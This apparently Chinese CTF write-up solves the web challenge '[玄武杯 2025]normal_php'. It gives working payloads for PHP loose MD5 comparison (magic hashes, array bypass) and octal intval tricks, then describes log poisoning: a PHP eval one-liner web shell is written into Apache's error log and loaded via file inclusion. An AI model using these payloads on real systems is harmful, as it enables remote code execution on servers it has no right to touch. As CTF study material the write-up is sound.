0%

php弱类型比较、md5绕过、日志文件包含等

2025-12-09 20:00By
iceblue
WEB

Problem: [玄武杯 2025]normal_php

思路

  1. 打开链接得到源代码

     <?php 
     highlight_file(__FILE__);
     error_reporting(0);
     include 'next.php';
    
     if(isset($_GET['a']) && isset($_POST['c'])){
         $a=$_GET['a'];
         $c=$_POST['c'];
         parse_str($a,$b);
         if($b['cdusec']!==$c && md5($b['cdusec'])==md5($c)){
             $num1=$b['num'][0];
             $num2=$b['num'][1];
    
             if(in_array(10520,$b['num'])){
                 echo "记住这个数";
                 echo "<br>";
             }else{
                 die("这都记不住?");
             }
    
             if($num2==114514){
                 die("我不想要这个数字!");
             }
    
             if(preg_match("/[a-z]/i", $num2)){
                 die("还想十六进制绕过?");
             }
    
             if(strpos($num2, "0")){
                 die("还想八进制绕过?");
             }
    
             if(intval($num2,0)==114514){
                 echo "好了你可以去下一关了".$next;
             }else{
                 echo "我现在又想要了,嘻嘻";
             }
    
         }else{
             echo "不er,md5你不会";
         }
    
     }else{
         echo "你看看传什么呢";
     } 你看看传什么呢
    
  2. 源码分析
    程序通过$_GET['a']$_POST['c']接收参数。使用 parse_str($a, $b) $a 解析为数组$b。判断$b['cdusec'] !== $cmd5($b['cdusec']) == md5($c)。然后判断 $b['num'] 中是否包含 10520。接着对$num2 = $b['num'][1]进行一系列校验:不等于 114514不能包含字母(十六进制绕过)不能包含 0(八进制绕过)最终通过intval($num2, 0)判断是否等于 114514

  3. 关键点

    • md5($b['cdusec']) == md5($c) 说明我们可以通过构造两个不同值但 MD5 相同的字符串来绕过这个条件。可以使用哈西碰撞的方式绕过,例如240610708QNKCDZO的Md5值就想等。因为这里是弱类型比较,也可以使用数组绕过。
    • intval($num2, 0) 是一个关键点,它支持多种进制(如 0x 表示十六进制,0 开头表示八进制)。这里会将$num2转换为一个整数,所以也可以使用不带0的小数来绕过
    • strpos($num2, "0") 会阻止任何包含 0 的字符串。PHP 的 strpos 函数检测的是字符串中的字符,不是数值。所以strpos("0337522", "0") 返回 0(位置),而不是 true,在 PHP 中,0 在布尔上下文中被视为 false,但非零值被视为 true。而在intval("0337522", 0) 会正确识别为八进制并转换为十进制 114514
  4. 因此传入的正确参数应为:

     get /?a=cdusec%3D240610708%26num%5B0%5D%3D10520%26num%5B1%5D%3D0337522
    
     post c=QNKCDZO
    
     或者
     get /?a=cdusec[]=1&num[]=10520&num[]=114514.1
    

    到此成功进入下一关:50e06357cc.jpg

  5. 下一关的源码为:

     <?php
    
     #flag在/flag中,试着读读?
    
     error_reporting(0);
    
     if(isset($_GET['filename'])){
         $file=$_GET['filename'];
         if(!preg_match("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/",$file)){
             include($file);
         }
     }else{
         highlight_file(__FILE__);
     }
    

    明显的文件包含,有过滤关键字。过滤了很多协议,并且过滤了=、,、"等字符,可以尝试包含日志文件写木马来实现。

    apache2日志文件路径/var/log/apache2/access.log,如果包含成功则可以在UA中写入一句话木马(我没有成功)

    这里也能用失败日志,如果访问不存在的php文件就会计入error.log日志

    我们可以构造一个以一句话木马为文件名的不存在的页面

     /<?php eval($_POST[1]);?>.php
     记得需要url编码
    

    然后在访问错误日志

    50e06357cc.jpg

    7724c23410.jpg

EXP

  • 具体攻击代码

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论